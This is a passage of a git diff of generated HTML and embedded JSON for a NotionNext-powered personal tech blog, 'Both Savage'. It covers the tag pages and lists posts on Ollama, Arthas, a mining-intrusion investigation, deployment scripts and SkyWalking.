ummary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}]},"__N_SSG":true},"page":"/tag","query":{},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/tag/docker.html b/tag/docker.html
index 15e4b7253..fbce9d05b 100644
--- a/tag/docker.html
+++ b/tag/docker.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>docker | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="docker | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/docker"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="docker | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/docker/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/docker/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 